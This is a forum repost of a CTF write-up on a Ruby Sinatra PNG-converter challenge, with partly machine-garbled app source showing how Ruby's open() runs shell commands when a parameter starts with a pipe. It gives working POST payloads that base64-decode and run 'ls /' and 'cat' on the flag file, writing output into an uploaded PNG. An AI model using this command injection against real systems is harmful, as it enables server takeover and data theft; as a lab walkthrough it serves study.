石家庄老站长

点击联系客服
客服QQ: 客服微信:
 找回密码
 立即注册
查看: 70|回复: 0

“CTF网络再现”[第三届第五空间网络安全大会]PNG地图转换器

[复制链接]

1

主题

1

帖子

-7

积分

限制会员

积分
-7
发表于 2021-9-20 07:25:57 | 显示全部楼层 |阅读模式
文章目录

使用点源过程分析Ruby  File.open()命令的执行情况

利用点

Ruby  File.open()命令运行源码

环境源代码通过app.rb提供

Require  'sinatra  '

require“digest”

Require  'base64 '

Get  '/' do

Open('./view/index.html  ',' r  ')。read()



Get  '/upload' do

Open('./view/upload.html  ',' r  ')。read()



Post  '/upload' do

Unless  params  [:文件]
pan class="token operator">&& params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return ""
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end
end
get '/convert' do
  open("./view/convert.html", 'r').read()
end
post '/convert' do
  begin
    unless params['file']
      return ""
    end
    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return ""
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

过程分析
Ruby File.open()命令执行
此web app用于将上传的图片转码为png文件,upload用于上传图片,convert用于转码,并将图片以base64编码的形式显示


代码审计,观察convert的函数,注意到调用了open(),因此可以试试命令执行,将命令写入一个存在的png文件,之后读取它,执行结果就会被base64编码显示在页面上

原理见:


『CTF Tricks』Puby-利用File.open()执行shell命令


抓个包看看,这里传入参数file完成open函数的传参



那么首先通过upload上传一个png图片



接着使用管道符开头上传shell命令,注意file参数过滤了斜杠还有后缀png检测,并且最重要的是png必须是已经存在的,那么我们可以将命令base64后执行,然后写入上面上传的那个png中。反引号内是把传入的base64值恢复,之后通过反引号执行,将输出写入图片

# ls /
[POST]file=| `echo bHMgLw== | base64 -d` > 563d256cfbf6dce1716dde5cccc587b9.png



读取该png,内容解码发现了flag

[POST]file=563d256cfbf6dce1716dde5cccc587b9.png


之后cat读取就行,一样的方法

# cat /FLA9_VixNxtSRFfd8IoFlnNvv
[POST]file=|`echo Y2F0IC9GTEE5X1ZpeE54dFNSRmZkOElvRmxuTnZ2 | base64 -d` > 563d256cfbf6dce1716dde5cccc587b9.png
[POST]file=563d256cfbf6dce1716dde5cccc587b9.png





欢迎在评论区留言

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|无图版|手机版|小黑屋|石家庄@IT精英团

GMT+8, 2022-8-13 21:21 , Processed in 0.146991 second(s), 25 queries .

Powered by Discuz! X3.4

© 2001-2021 Comsenz Inc.

快速回复 返回顶部 返回列表